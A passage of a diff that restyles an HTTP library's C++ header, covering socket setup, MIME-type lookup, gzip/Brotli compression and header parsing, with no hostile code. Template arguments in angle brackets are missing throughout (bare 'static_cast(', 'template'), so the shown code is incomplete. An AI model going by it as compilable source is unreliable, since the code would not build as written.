{ + freeifaddrs(ifap); + return std::string(buf, INET6_ADDRSTRLEN); + } + } + } } - } } - } } - } - freeifaddrs(ifap); - return addr_candidate; + freeifaddrs(ifap); + return addr_candidate; } #endif @@ -3253,18 +3571,22 @@ inline socket_t create_client_socket( int address_family, bool tcp_nodelay, SocketOptions socket_options, time_t connection_timeout_sec, time_t connection_timeout_usec, time_t read_timeout_sec, time_t read_timeout_usec, time_t write_timeout_sec, - time_t write_timeout_usec, const std::string &intf, Error &error) { - auto sock = create_socket( - host, ip, port, address_family, 0, tcp_nodelay, std::move(socket_options), - [&](socket_t sock2, struct addrinfo &ai) -> bool { - if (!intf.empty()) { + time_t write_timeout_usec, const std::string &intf, Error &error) +{ + auto sock = create_socket( + host, ip, port, address_family, 0, tcp_nodelay, std::move(socket_options), + [&](socket_t sock2, struct addrinfo &ai) -> bool { + if (!intf.empty()) + { #ifdef USE_IF2IP - auto ip_from_if = if2ip(address_family, intf); - if (ip_from_if.empty()) { ip_from_if = intf; } - if (!bind_ip_address(sock2, ip_from_if)) { - error = Error::BindIPAddress; - return false; - } + auto ip_from_if = if2ip(address_family, intf); + if (ip_from_if.empty()) { + ip_from_if = intf; + } + if (!bind_ip_address(sock2, ip_from_if)) { + error = Error::BindIPAddress; + return false; + } #endif } @@ -3273,140 +3595,152 @@ inline socket_t create_client_socket( auto ret = ::connect(sock2, ai.ai_addr, static_cast(ai.ai_addrlen)); - if (ret < 0) { - if (is_connection_error()) { - error = Error::Connection; - return false; - } - error = wait_until_socket_is_ready(sock2, connection_timeout_sec, - connection_timeout_usec); - if (error != Error::Success) { return false; } + if (ret < 0) + { + if (is_connection_error()) { + error = Error::Connection; + return false; + } + error = wait_until_socket_is_ready(sock2, connection_timeout_sec, + connection_timeout_usec); + if (error != Error::Success) { + return false; + } } set_nonblocking(sock2, false); { #ifdef _WIN32 - auto timeout = static_cast(read_timeout_sec * 1000 + - read_timeout_usec / 1000); - setsockopt(sock2, SOL_SOCKET, SO_RCVTIMEO, - reinterpret_cast(&timeout), sizeof(timeout)); + auto timeout = static_cast(read_timeout_sec * 1000 + + read_timeout_usec / 1000); + setsockopt(sock2, SOL_SOCKET, SO_RCVTIMEO, + reinterpret_cast(&timeout), sizeof(timeout)); #else - timeval tv; - tv.tv_sec = static_cast(read_timeout_sec); - tv.tv_usec = static_cast(read_timeout_usec); - setsockopt(sock2, SOL_SOCKET, SO_RCVTIMEO, - reinterpret_cast(&tv), sizeof(tv)); + timeval tv; + tv.tv_sec = static_cast(read_timeout_sec); + tv.tv_usec = static_cast(read_timeout_usec); + setsockopt(sock2, SOL_SOCKET, SO_RCVTIMEO, + reinterpret_cast(&tv), sizeof(tv)); #endif } { #ifdef _WIN32 - auto timeout = static_cast(write_timeout_sec * 1000 + - write_timeout_usec / 1000); - setsockopt(sock2, SOL_SOCKET, SO_SNDTIMEO, - reinterpret_cast(&timeout), sizeof(timeout)); + auto timeout = static_cast(write_timeout_sec * 1000 + + write_timeout_usec / 1000); + setsockopt(sock2, SOL_SOCKET, SO_SNDTIMEO, + reinterpret_cast(&timeout), sizeof(timeout)); #else - timeval tv; - tv.tv_sec = static_cast(write_timeout_sec); - tv.tv_usec = static_cast(write_timeout_usec); - setsockopt(sock2, SOL_SOCKET, SO_SNDTIMEO, - reinterpret_cast(&tv), sizeof(tv)); + timeval tv; + tv.tv_sec = static_cast(write_timeout_sec); + tv.tv_usec = static_cast(write_timeout_usec); + setsockopt(sock2, SOL_SOCKET, SO_SNDTIMEO, + reinterpret_cast(&tv), sizeof(tv)); #endif } error = Error::Success; return true; - }); + }); - if (sock != INVALID_SOCKET) { - error = Error::Success; - } else { - if (error == Error::Success) { error = Error::Connection; } - } + if (sock != INVALID_SOCKET) { + error = Error::Success; + } else { + if (error == Error::Success) { + error = Error::Connection; + } + } - return sock; + return sock; } inline bool get_ip_and_port(const struct sockaddr_storage &addr, - socklen_t addr_len, std::string &ip, int &port) { - if (addr.ss_family == AF_INET) { - port = ntohs(reinterpret_cast(&addr)->sin_port); - } else if (addr.ss_family == AF_INET6) { - port = - ntohs(reinterpret_cast(&addr)->sin6_port); - } else { - return false; - } - - std::array ipstr{}; - if (getnameinfo(reinterpret_cast(&addr), addr_len, - ipstr.data(), static_cast(ipstr.size()), nullptr, - 0, NI_NUMERICHOST)) { - return false; - } - - ip = ipstr.data(); - return true; -} - -inline void get_local_ip_and_port(socket_t sock, std::string &ip, int &port) { - struct sockaddr_storage addr; - socklen_t addr_len = sizeof(addr); - if (!getsockname(sock, reinterpret_cast(&addr), - &addr_len)) { - get_ip_and_port(addr, addr_len, ip, port); - } -} - -inline void get_remote_ip_and_port(socket_t sock, std::string &ip, int &port) { - struct sockaddr_storage addr; - socklen_t addr_len = sizeof(addr); - - if (!getpeername(sock, reinterpret_cast(&addr), - &addr_len)) { -#ifndef _WIN32 - if (addr.ss_family == AF_UNIX) { -#if defined(__linux__) - struct ucred ucred; - socklen_t len = sizeof(ucred); - if (getsockopt(sock, SOL_SOCKET, SO_PEERCRED, &ucred, &len) == 0) { - port = ucred.pid; - } -#elif defined(SOL_LOCAL) && defined(SO_PEERPID) // __APPLE__ - pid_t pid; - socklen_t len = sizeof(pid); - if (getsockopt(sock, SOL_LOCAL, SO_PEERPID, &pid, &len) == 0) { - port = pid; - } -#endif - return; + socklen_t addr_len, std::string &ip, int &port) +{ + if (addr.ss_family == AF_INET) { + port = ntohs(reinterpret_cast(&addr)->sin_port); + } else if (addr.ss_family == AF_INET6) { + port = + ntohs(reinterpret_cast(&addr)->sin6_port); + } else { + return false; } + + std::array ipstr{}; + if (getnameinfo(reinterpret_cast(&addr), addr_len, + ipstr.data(), static_cast(ipstr.size()), nullptr, + 0, NI_NUMERICHOST)) { + return false; + } + + ip = ipstr.data(); + return true; +} + +inline void get_local_ip_and_port(socket_t sock, std::string &ip, int &port) +{ + struct sockaddr_storage addr; + socklen_t addr_len = sizeof(addr); + if (!getsockname(sock, reinterpret_cast(&addr), + &addr_len)) { + get_ip_and_port(addr, addr_len, ip, port); + } +} + +inline void get_remote_ip_and_port(socket_t sock, std::string &ip, int &port) +{ + struct sockaddr_storage addr; + socklen_t addr_len = sizeof(addr); + + if (!getpeername(sock, reinterpret_cast(&addr), + &addr_len)) { +#ifndef _WIN32 + if (addr.ss_family == AF_UNIX) { +#if defined(__linux__) + struct ucred ucred; + socklen_t len = sizeof(ucred); + if (getsockopt(sock, SOL_SOCKET, SO_PEERCRED, &ucred, &len) == 0) { + port = ucred.pid; + } +#elif defined(SOL_LOCAL) && defined(SO_PEERPID) // __APPLE__ + pid_t pid; + socklen_t len = sizeof(pid); + if (getsockopt(sock, SOL_LOCAL, SO_PEERPID, &pid, &len) == 0) { + port = pid; + } #endif - get_ip_and_port(addr, addr_len, ip, port); - } + return; + } +#endif + get_ip_and_port(addr, addr_len, ip, port); + } } inline constexpr unsigned int str2tag_core(const char *s, size_t l, - unsigned int h) { - return (l == 0) - ? h - : str2tag_core( - s + 1, l - 1, - // Unsets the 6 high bits of h, therefore no overflow happens - (((std::numeric_limits::max)() >> 6) & - h * 33) ^ - static_cast(*s)); + unsigned int h) +{ + return (l == 0) + ? h + : str2tag_core( + s + 1, l - 1, + // Unsets the 6 high bits of h, therefore no overflow happens + (((std::numeric_limits::max)() >> 6) & + h * 33) ^ + static_cast(*s)); } -inline unsigned int str2tag(const std::string &s) { - return str2tag_core(s.data(), s.size(), 0); +inline unsigned int str2tag(const std::string &s) +{ + return str2tag_core(s.data(), s.size(), 0); } -namespace udl { +namespace udl +{ -inline constexpr unsigned int operator"" _t(const char *s, size_t l) { - return str2tag_core(s, l, 0); +inline constexpr unsigned int operator"" _t(const char *s, size_t l) +{ + return str2tag_core(s, l, 0); } } // namespace udl @@ -3414,1322 +3748,1606 @@ inline constexpr unsigned int operator"" _t(const char *s, size_t l) { inline std::string find_content_type(const std::string &path, const std::map &user_data, - const std::string &default_content_type) { - auto ext = file_extension(path); + const std::string &default_content_type) +{ + auto ext = file_extension(path); - auto it = user_data.find(ext); - if (it != user_data.end()) { return it->second; } + auto it = user_data.find(ext); + if (it != user_data.end()) { + return it->second; + } - using udl::operator""_t; + using udl::operator""_t; - switch (str2tag(ext)) { - default: return default_content_type; + switch (str2tag(ext)) { + default: + return default_content_type; - case "css"_t: return "text/css"; - case "csv"_t: return "text/csv"; - case "htm"_t: - case "html"_t: return "text/html"; - case "js"_t: - case "mjs"_t: return "text/javascript"; - case "txt"_t: return "text/plain"; - case "vtt"_t: return "text/vtt"; + case "css"_t: + return "text/css"; + case "csv"_t: + return "text/csv"; + case "htm"_t: + case "html"_t: + return "text/html"; + case "js"_t: + case "mjs"_t: + return "text/javascript"; + case "txt"_t: + return "text/plain"; + case "vtt"_t: + return "text/vtt"; - case "apng"_t: return "image/apng"; - case "avif"_t: return "image/avif"; - case "bmp"_t: return "image/bmp"; - case "gif"_t: return "image/gif"; - case "png"_t: return "image/png"; - case "svg"_t: return "image/svg+xml"; - case "webp"_t: return "image/webp"; - case "ico"_t: return "image/x-icon"; - case "tif"_t: return "image/tiff"; - case "tiff"_t: return "image/tiff"; - case "jpg"_t: - case "jpeg"_t: return "image/jpeg"; + case "apng"_t: + return "image/apng"; + case "avif"_t: + return "image/avif"; + case "bmp"_t: + return "image/bmp"; + case "gif"_t: + return "image/gif"; + case "png"_t: + return "image/png"; + case "svg"_t: + return "image/svg+xml"; + case "webp"_t: + return "image/webp"; + case "ico"_t: + return "image/x-icon"; + case "tif"_t: + return "image/tiff"; + case "tiff"_t: + return "image/tiff"; + case "jpg"_t: + case "jpeg"_t: + return "image/jpeg"; - case "mp4"_t: return "video/mp4"; - case "mpeg"_t: return "video/mpeg"; - case "webm"_t: return "video/webm"; + case "mp4"_t: + return "video/mp4"; + case "mpeg"_t: + return "video/mpeg"; + case "webm"_t: + return "video/webm"; - case "mp3"_t: return "audio/mp3"; - case "mpga"_t: return "audio/mpeg"; - case "weba"_t: return "audio/webm"; - case "wav"_t: return "audio/wave"; + case "mp3"_t: + return "audio/mp3"; + case "mpga"_t: + return "audio/mpeg"; + case "weba"_t: + return "audio/webm"; + case "wav"_t: + return "audio/wave"; - case "otf"_t: return "font/otf"; - case "ttf"_t: return "font/ttf"; - case "woff"_t: return "font/woff"; - case "woff2"_t: return "font/woff2"; + case "otf"_t: + return "font/otf"; + case "ttf"_t: + return "font/ttf"; + case "woff"_t: + return "font/woff"; + case "woff2"_t: + return "font/woff2"; - case "7z"_t: return "application/x-7z-compressed"; - case "atom"_t: return "application/atom+xml"; - case "pdf"_t: return "application/pdf"; - case "json"_t: return "application/json"; - case "rss"_t: return "application/rss+xml"; - case "tar"_t: return "application/x-tar"; - case "xht"_t: - case "xhtml"_t: return "application/xhtml+xml"; - case "xslt"_t: return "application/xslt+xml"; - case "xml"_t: return "application/xml"; - case "gz"_t: return "application/gzip"; - case "zip"_t: return "application/zip"; - case "wasm"_t: return "application/wasm"; - } + case "7z"_t: + return "application/x-7z-compressed"; + case "atom"_t: + return "application/atom+xml"; + case "pdf"_t: + return "application/pdf"; + case "json"_t: + return "application/json"; + case "rss"_t: + return "application/rss+xml"; + case "tar"_t: + return "application/x-tar"; + case "xht"_t: + case "xhtml"_t: + return "application/xhtml+xml"; + case "xslt"_t: + return "application/xslt+xml"; + case "xml"_t: + return "application/xml"; + case "gz"_t: + return "application/gzip"; + case "zip"_t: + return "application/zip"; + case "wasm"_t: + return "application/wasm"; + } } -inline bool can_compress_content_type(const std::string &content_type) { - using udl::operator""_t; +inline bool can_compress_content_type(const std::string &content_type) +{ + using udl::operator""_t; - auto tag = str2tag(content_type); + auto tag = str2tag(content_type); - switch (tag) { - case "image/svg+xml"_t: - case "application/javascript"_t: - case "application/json"_t: - case "application/xml"_t: - case "application/protobuf"_t: - case "application/xhtml+xml"_t: return true; + switch (tag) { + case "image/svg+xml"_t: + case "application/javascript"_t: + case "application/json"_t: + case "application/xml"_t: + case "application/protobuf"_t: + case "application/xhtml+xml"_t: + return true; - default: - return !content_type.rfind("text/", 0) && tag != "text/event-stream"_t; - } + default: + return !content_type.rfind("text/", 0) && tag != "text/event-stream"_t; + } } -inline EncodingType encoding_type(const Request &req, const Response &res) { - auto ret = - detail::can_compress_content_type(res.get_header_value("Content-Type")); - if (!ret) { return EncodingType::None; } +inline EncodingType encoding_type(const Request &req, const Response &res) +{ + auto ret = + detail::can_compress_content_type(res.get_header_value("Content-Type")); + if (!ret) { + return EncodingType::None; + } - const auto &s = req.get_header_value("Accept-Encoding"); - (void)(s); + const auto &s = req.get_header_value("Accept-Encoding"); + (void)(s); #ifdef CPPHTTPLIB_BROTLI_SUPPORT - // TODO: 'Accept-Encoding' has br, not br;q=0 - ret = s.find("br") != std::string::npos; - if (ret) { return EncodingType::Brotli; } + // TODO: 'Accept-Encoding' has br, not br;q=0 + ret = s.find("br") != std::string::npos; + if (ret) { + return EncodingType::Brotli; + } #endif #ifdef CPPHTTPLIB_ZLIB_SUPPORT - // TODO: 'Accept-Encoding' has gzip, not gzip;q=0 - ret = s.find("gzip") != std::string::npos; - if (ret) { return EncodingType::Gzip; } + // TODO: 'Accept-Encoding' has gzip, not gzip;q=0 + ret = s.find("gzip") != std::string::npos; + if (ret) { + return EncodingType::Gzip; + } #endif - return EncodingType::None; + return EncodingType::None; } inline bool nocompressor::compress(const char *data, size_t data_length, - bool /*last*/, Callback callback) { - if (!data_length) { return true; } - return callback(data, data_length); + bool /*last*/, Callback callback) +{ + if (!data_length) { + return true; + } + return callback(data, data_length); } #ifdef CPPHTTPLIB_ZLIB_SUPPORT -inline gzip_compressor::gzip_compressor() { - std::memset(&strm_, 0, sizeof(strm_)); - strm_.zalloc = Z_NULL; - strm_.zfree = Z_NULL; - strm_.opaque = Z_NULL; +inline gzip_compressor::gzip_compressor() +{ + std::memset(&strm_, 0, sizeof(strm_)); + strm_.zalloc = Z_NULL; + strm_.zfree = Z_NULL; + strm_.opaque = Z_NULL; - is_valid_ = deflateInit2(&strm_, Z_DEFAULT_COMPRESSION, Z_DEFLATED, 31, 8, - Z_DEFAULT_STRATEGY) == Z_OK; + is_valid_ = deflateInit2(&strm_, Z_DEFAULT_COMPRESSION, Z_DEFLATED, 31, 8, + Z_DEFAULT_STRATEGY) == Z_OK; } -inline gzip_compressor::~gzip_compressor() { deflateEnd(&strm_); } +inline gzip_compressor::~gzip_compressor() +{ + deflateEnd(&strm_); +} inline bool gzip_compressor::compress(const char *data, size_t data_length, - bool last, Callback callback) { - assert(is_valid_); + bool last, Callback callback) +{ + assert(is_valid_); - do { - constexpr size_t max_avail_in = - (std::numeric_limits::max)(); - - strm_.avail_in = static_cast( - (std::min)(data_length, max_avail_in)); - strm_.next_in = const_cast(reinterpret_cast(data)); - - data_length -= strm_.avail_in; - data += strm_.avail_in; - - auto flush = (last && data_length == 0) ? Z_FINISH : Z_NO_FLUSH; - auto ret = Z_OK; - - std::array buff{}; do { - strm_.avail_out = static_cast(buff.size()); - strm_.next_out = reinterpret_cast(buff.data()); + constexpr size_t max_avail_in = + (std::numeric_limits::max)(); - ret = deflate(&strm_, flush); - if (ret == Z_STREAM_ERROR) { return false; } + strm_.avail_in = static_cast( + (std::min)(data_length, max_avail_in)); + strm_.next_in = const_cast(reinterpret_cast(data)); - if (!callback(buff.data(), buff.size() - strm_.avail_out)) { - return false; - } - } while (strm_.avail_out == 0); + data_length -= strm_.avail_in; + data += strm_.avail_in; - assert((flush == Z_FINISH && ret == Z_STREAM_END) || - (flush == Z_NO_FLUSH && ret == Z_OK)); - assert(strm_.avail_in == 0); - } while (data_length > 0); + auto flush = (last && data_length == 0) ? Z_FINISH : Z_NO_FLUSH; + auto ret = Z_OK; - return true; + std::array buff{}; + do { + strm_.avail_out = static_cast(buff.size()); + strm_.next_out = reinterpret_cast(buff.data()); + + ret = deflate(&strm_, flush); + if (ret == Z_STREAM_ERROR) { + return false; + } + + if (!callback(buff.data(), buff.size() - strm_.avail_out)) { + return false; + } + } while (strm_.avail_out == 0); + + assert((flush == Z_FINISH && ret == Z_STREAM_END) || + (flush == Z_NO_FLUSH && ret == Z_OK)); + assert(strm_.avail_in == 0); + } while (data_length > 0); + + return true; } -inline gzip_decompressor::gzip_decompressor() { - std::memset(&strm_, 0, sizeof(strm_)); - strm_.zalloc = Z_NULL; - strm_.zfree = Z_NULL; - strm_.opaque = Z_NULL; +inline gzip_decompressor::gzip_decompressor() +{ + std::memset(&strm_, 0, sizeof(strm_)); + strm_.zalloc = Z_NULL; + strm_.zfree = Z_NULL; + strm_.opaque = Z_NULL; - // 15 is the value of wbits, which should be at the maximum possible value - // to ensure that any gzip stream can be decoded. The offset of 32 specifies - // that the stream type should be automatically detected either gzip or - // deflate. - is_valid_ = inflateInit2(&strm_, 32 + 15) == Z_OK; + // 15 is the value of wbits, which should be at the maximum possible value + // to ensure that any gzip stream can be decoded. The offset of 32 specifies + // that the stream type should be automatically detected either gzip or + // deflate. + is_valid_ = inflateInit2(&strm_, 32 + 15) == Z_OK; } -inline gzip_decompressor::~gzip_decompressor() { inflateEnd(&strm_); } +inline gzip_decompressor::~gzip_decompressor() +{ + inflateEnd(&strm_); +} -inline bool gzip_decompressor::is_valid() const { return is_valid_; } +inline bool gzip_decompressor::is_valid() const +{ + return is_valid_; +} inline bool gzip_decompressor::decompress(const char *data, size_t data_length, - Callback callback) { - assert(is_valid_); + Callback callback) +{ + assert(is_valid_); - auto ret = Z_OK; + auto ret = Z_OK; - do { - constexpr size_t max_avail_in = - (std::numeric_limits::max)(); + do { + constexpr size_t max_avail_in = + (std::numeric_limits::max)(); - strm_.avail_in = static_cast( - (std::min)(data_length, max_avail_in)); - strm_.next_in = const_cast(reinterpret_cast(data)); + strm_.avail_in = static_cast( + (std::min)(data_length, max_avail_in)); + strm_.next_in = const_cast(reinterpret_cast(data)); - data_length -= strm_.avail_in; - data += strm_.avail_in; + data_length -= strm_.avail_in; + data += strm_.avail_in; - std::array buff{}; - while (strm_.avail_in > 0 && ret == Z_OK) { - strm_.avail_out = static_cast(buff.size()); - strm_.next_out = reinterpret_cast(buff.data()); + std::array buff{}; + while (strm_.avail_in > 0 && ret == Z_OK) { + strm_.avail_out = static_cast(buff.size()); + strm_.next_out = reinterpret_cast(buff.data()); - ret = inflate(&strm_, Z_NO_FLUSH); + ret = inflate(&strm_, Z_NO_FLUSH); - assert(ret != Z_STREAM_ERROR); - switch (ret) { - case Z_NEED_DICT: - case Z_DATA_ERROR: - case Z_MEM_ERROR: inflateEnd(&strm_); return false; - } + assert(ret != Z_STREAM_ERROR); + switch (ret) { + case Z_NEED_DICT: + case Z_DATA_ERROR: + case Z_MEM_ERROR: + inflateEnd(&strm_); + return false; + } - if (!callback(buff.data(), buff.size() - strm_.avail_out)) { - return false; - } - } + if (!callback(buff.data(), buff.size() - strm_.avail_out)) { + return false; + } + } - if (ret != Z_OK && ret != Z_STREAM_END) { return false; } + if (ret != Z_OK && ret != Z_STREAM_END) { + return false; + } - } while (data_length > 0); + } while (data_length > 0); - return true; + return true; } #endif #ifdef CPPHTTPLIB_BROTLI_SUPPORT -inline brotli_compressor::brotli_compressor() { - state_ = BrotliEncoderCreateInstance(nullptr, nullptr, nullptr); +inline brotli_compressor::brotli_compressor() +{ + state_ = BrotliEncoderCreateInstance(nullptr, nullptr, nullptr); } -inline brotli_compressor::~brotli_compressor() { - BrotliEncoderDestroyInstance(state_); +inline brotli_compressor::~brotli_compressor() +{ + BrotliEncoderDestroyInstance(state_); } inline bool brotli_compressor::compress(const char *data, size_t data_length, - bool last, Callback callback) { - std::array buff{}; + bool last, Callback callback) +{ + std::array buff{}; - auto operation = last ? BROTLI_OPERATION_FINISH : BROTLI_OPERATION_PROCESS; - auto available_in = data_length; - auto next_in = reinterpret_cast(data); + auto operation = last ? BROTLI_OPERATION_FINISH : BROTLI_OPERATION_PROCESS; + auto available_in = data_length; + auto next_in = reinterpret_cast(data); - for (;;) { - if (last) { - if (BrotliEncoderIsFinished(state_)) { break; } - } else { - if (!available_in) { break; } + for (;;) { + if (last) { + if (BrotliEncoderIsFinished(state_)) { + break; + } + } else { + if (!available_in) { + break; + } + } + + auto available_out = buff.size(); + auto next_out = buff.data(); + + if (!BrotliEncoderCompressStream(state_, operation, &available_in, &next_in, + &available_out, &next_out, nullptr)) { + return false; + } + + auto output_bytes = buff.size() - available_out; + if (output_bytes) { + callback(reinterpret_cast(buff.data()), output_bytes); + } } - auto available_out = buff.size(); - auto next_out = buff.data(); + return true; +} - if (!BrotliEncoderCompressStream(state_, operation, &available_in, &next_in, - &available_out, &next_out, nullptr)) { - return false; +inline brotli_decompressor::brotli_decompressor() +{ + decoder_s = BrotliDecoderCreateInstance(0, 0, 0); + decoder_r = decoder_s ? BROTLI_DECODER_RESULT_NEEDS_MORE_INPUT + : BROTLI_DECODER_RESULT_ERROR; +} + +inline brotli_decompressor::~brotli_decompressor() +{ + if (decoder_s) { + BrotliDecoderDestroyInstance(decoder_s); } - - auto output_bytes = buff.size() - available_out; - if (output_bytes) { - callback(reinterpret_cast(buff.data()), output_bytes); - } - } - - return true; } -inline brotli_decompressor::brotli_decompressor() { - decoder_s = BrotliDecoderCreateInstance(0, 0, 0); - decoder_r = decoder_s ? BROTLI_DECODER_RESULT_NEEDS_MORE_INPUT - : BROTLI_DECODER_RESULT_ERROR; +inline bool brotli_decompressor::is_valid() const +{ + return decoder_s; } -inline brotli_decompressor::~brotli_decompressor() { - if (decoder_s) { BrotliDecoderDestroyInstance(decoder_s); } -} - -inline bool brotli_decompressor::is_valid() const { return decoder_s; } - inline bool brotli_decompressor::decompress(const char *data, - size_t data_length, - Callback callback) { - if (decoder_r == BROTLI_DECODER_RESULT_SUCCESS || - decoder_r == BROTLI_DECODER_RESULT_ERROR) { - return 0; - } + size_t data_length, + Callback callback) +{ + if (decoder_r == BROTLI_DECODER_RESULT_SUCCESS || + decoder_r == BROTLI_DECODER_RESULT_ERROR) { + return 0; + } - auto next_in = reinterpret_cast(data); - size_t avail_in = data_length; - size_t total_out; + auto next_in = reinterpret_cast(data); + size_t avail_in = data_length; + size_t total_out; - decoder_r = BROTLI_DECODER_RESULT_NEEDS_MORE_OUTPUT; + decoder_r = BROTLI_DECODER_RESULT_NEEDS_MORE_OUTPUT; - std::array buff{}; - while (decoder_r == BROTLI_DECODER_RESULT_NEEDS_MORE_OUTPUT) { - char *next_out = buff.data(); - size_t avail_out = buff.size(); + std::array buff{}; + while (decoder_r == BROTLI_DECODER_RESULT_NEEDS_MORE_OUTPUT) { + char *next_out = buff.data(); + size_t avail_out = buff.size(); - decoder_r = BrotliDecoderDecompressStream( - decoder_s, &avail_in, &next_in, &avail_out, - reinterpret_cast(&next_out), &total_out); + decoder_r = BrotliDecoderDecompressStream( + decoder_s, &avail_in, &next_in, &avail_out, + reinterpret_cast(&next_out), &total_out); - if (decoder_r == BROTLI_DECODER_RESULT_ERROR) { return false; } + if (decoder_r == BROTLI_DECODER_RESULT_ERROR) { + return false; + } - if (!callback(buff.data(), buff.size() - avail_out)) { return false; } - } + if (!callback(buff.data(), buff.size() - avail_out)) { + return false; + } + } - return decoder_r == BROTLI_DECODER_RESULT_SUCCESS || - decoder_r == BROTLI_DECODER_RESULT_NEEDS_MORE_INPUT; + return decoder_r == BROTLI_DECODER_RESULT_SUCCESS || + decoder_r == BROTLI_DECODER_RESULT_NEEDS_MORE_INPUT; } #endif -inline bool has_header(const Headers &headers, const std::string &key) { - return headers.find(key) != headers.end(); +inline bool has_header(const Headers &headers, const std::string &key) +{ + return headers.find(key) != headers.end(); } inline const char *get_header_value(const Headers &headers, const std::string &key, size_t id, - const char *def) { - auto rng = headers.equal_range(key); - auto it = rng.first; - std::advance(it, static_cast(id)); - if (it != rng.second) { return it->second.c_str(); } - return def; + const char *def) +{ + auto rng = headers.equal_range(key); + auto it = rng.first; + std::advance(it, static_cast(id)); + if (it != rng.second) { + return it->second.c_str(); + } + return def; } -inline bool compare_case_ignore(const std::string &a, const std::string &b) { - if (a.size() != b.size()) { return false; } - for (size_t i = 0; i < b.size(); i++) { - if (::tolower(a[i]) != ::tolower(b[i])) { return false; } - } - return true; +inline bool compare_case_ignore(const std::string &a, const std::string &b) +{ + if (a.size() != b.size()) { + return false; + } + for (size_t i = 0; i < b.size(); i++) { + if (::tolower(a[i]) != ::tolower(b[i])) { + return false; + } + } + return true; } template -inline bool parse_header(const char *beg, const char *end, T fn) { - // Skip trailing spaces and tabs. - while (beg < end && is_space_or_tab(end[-1])) { - end--; - } +inline bool parse_header(const char *beg, const char *end, T fn) +{ + // Skip trailing spaces and tabs. + while (beg < end && is_space_or_tab(end[-1])) { + end--; + } - auto p = beg; - while (p < end && *p != ':') { - p++; - } + auto p = beg; + while (p < end && *p != ':') { + p++; + } - if (p == end) { return false; } + if (p == end) { + return false; + } - auto key_end = p; + auto key_end = p; - if (*p++ != ':') { return false; } + if (*p++ != ':') { + return false; + } - while (p < end && is_space_or_tab(*p)) { - p++; - } + while (p < end && is_space_or_tab(*p)) { + p++; + } - if (p < end) { - auto key_len = key_end - beg; - if (!key_len) { return false; } + if (p < end) { + auto key_len = key_end - beg; + if (!key_len) { + return false; + } - auto key = std::string(beg, key_end); - auto val = compare_case_ignore(key, "Location") + auto key = std::string(beg, key_end); + auto val = compare_case_ignore(key, "Location") ? std::string(p, end) : decode_url(std::string(p, end), false); - fn(std::move(key), std::move(val)); - return true; - } + fn(std::move(key), std::move(val)); + return true; + } - return false; + return false; } -inline bool read_headers(Stream &strm, Headers &headers) { - const auto bufsiz = 2048; - char buf[bufsiz]; - stream_line_reader line_reader(strm, buf, bufsiz); +inline bool read_headers(Stream &strm, Headers &headers) +{ + const auto bufsiz = 2048; + char buf[bufsiz]; + stream_line_reader line_reader(strm, buf, bufsiz); - for (;;) { - if (!line_reader.getline()) { return false; } + for (;;) { + if (!line_reader.getline()) { + return false; + } - // Check if the line ends with CRLF. - auto line_terminator_len = 2; - if (line_reader.end_with_crlf()) { - // Blank line indicates end of headers. - if (line_reader.size() == 2) { break; } + // Check if the line ends with CRLF. + auto line_terminator_len = 2; + if (line_reader.end_with_crlf()) { + // Blank line indicates end of headers. + if (line_reader.size() == 2) { + break; + } #ifdef CPPHTTPLIB_ALLOW_LF_AS_LINE_TERMINATOR - } else { - // Blank line indicates end of headers. - if (line_reader.size() == 1) { break; } - line_terminator_len = 1; - } + } else { + // Blank line indicates end of headers. + if (line_reader.size() == 1) { + break; + } + line_terminator_len = 1; + } #else - } else { - continue; // Skip invalid line. - } + } else { + continue; // Skip invalid line. + } #endif - if (line_reader.size() > CPPHTTPLIB_HEADER_MAX_LENGTH) { return false; } + if (line_reader.size() > CPPHTTPLIB_HEADER_MAX_LENGTH) { + return false; + } - // Exclude line terminator - auto end = line_reader.ptr() + line_reader.size() - line_terminator_len; + // Exclude line terminator + auto end = line_reader.ptr() + line_reader.size() - line_terminator_len; - parse_header(line_reader.ptr(), end, - [&](std::string &&key, std::string &&val) { - headers.emplace(std::move(key), std::move(val)); - }); - } + parse_header(line_reader.ptr(), end, + [&](std::string &&key, std::string &&val) { + headers.emplace(std::move(key), std::move(val)); + }); + } - return true; + return true; } inline bool read_content_with_length(Stream &strm, uint64_t len, Progress progress, - ContentReceiverWithProgress out) { - char buf[CPPHTTPLIB_RECV_BUFSIZ]; + ContentReceiverWithProgress out) +{ + char buf[CPPHTTPLIB_RECV_BUFSIZ]; - uint64_t r = 0; - while (r < len) { - auto read_len = static_cast(len - r); - auto n = strm.read(buf, (std::min)(read_len, CPPHTTPLIB_RECV_BUFSIZ)); - if (n <= 0) { return false; } + uint64_t r = 0; + while (r < len) { + auto read_len = static_cast(len - r); + auto n = strm.read(buf, (std::min)(read_len, CPPHTTPLIB_RECV_BUFSIZ)); + if (n <= 0) { + return false; + } - if (!out(buf, static_cast(n), r, len)) { return false; } - r += static_cast(n); + if (!out(buf, static_cast(n), r, len)) { + return false; + } + r += static_cast(n); - if (progress) { - if (!progress(r, len)) { return false; } + if (progress) { + if (!progress(r, len)) { + return false; + } + } } - } - return true; + return true; } -inline void skip_content_with_length(Stream &strm, uint64_t len) { - char buf[CPPHTTPLIB_RECV_BUFSIZ]; - uint64_t r = 0; - while (r < len) { - auto read_len = static_cast(len - r); - auto n = strm.read(buf, (std::min)(read_len, CPPHTTPLIB_RECV_BUFSIZ)); - if (n <= 0) { return; } - r += static_cast(n); - } +inline void skip_content_with_length(Stream &strm, uint64_t len) +{ + char buf[CPPHTTPLIB_RECV_BUFSIZ]; + uint64_t r = 0; + while (r < len) { + auto read_len = static_cast(len - r); + auto n = strm.read(buf, (std::min)(read_len, CPPHTTPLIB_RECV_BUFSIZ)); + if (n <= 0) { + return; + } + r += static_cast(n); + } } inline bool read_content_without_length(Stream &strm, - ContentReceiverWithProgress out) { - char buf[CPPHTTPLIB_RECV_BUFSIZ]; - uint64_t r = 0; - for (;;) { - auto n = strm.read(buf, CPPHTTPLIB_RECV_BUFSIZ); - if (n <= 0) { return true; } + ContentReceiverWithProgress out) +{ + char buf[CPPHTTPLIB_RECV_BUFSIZ]; + uint64_t r = 0; + for (;;) { + auto n = strm.read(buf, CPPHTTPLIB_RECV_BUFSIZ); + if (n <= 0) { + return true; + } - if (!out(buf, static_cast(n), r, 0)) { return false; } - r += static_cast(n); - } + if (!out(buf, static_cast(n), r, 0)) { + return false; + } + r += static_cast(n); + } - return true; + return true; } template inline bool read_content_chunked(Stream &strm, T &x, - ContentReceiverWithProgress out) { - const auto bufsiz = 16; - char buf[bufsiz]; + ContentReceiverWithProgress out) +{ + const auto bufsiz = 16; + char buf[bufsiz]; - stream_line_reader line_reader(strm, buf, bufsiz); + stream_line_reader line_reader(strm, buf, bufsiz); - if 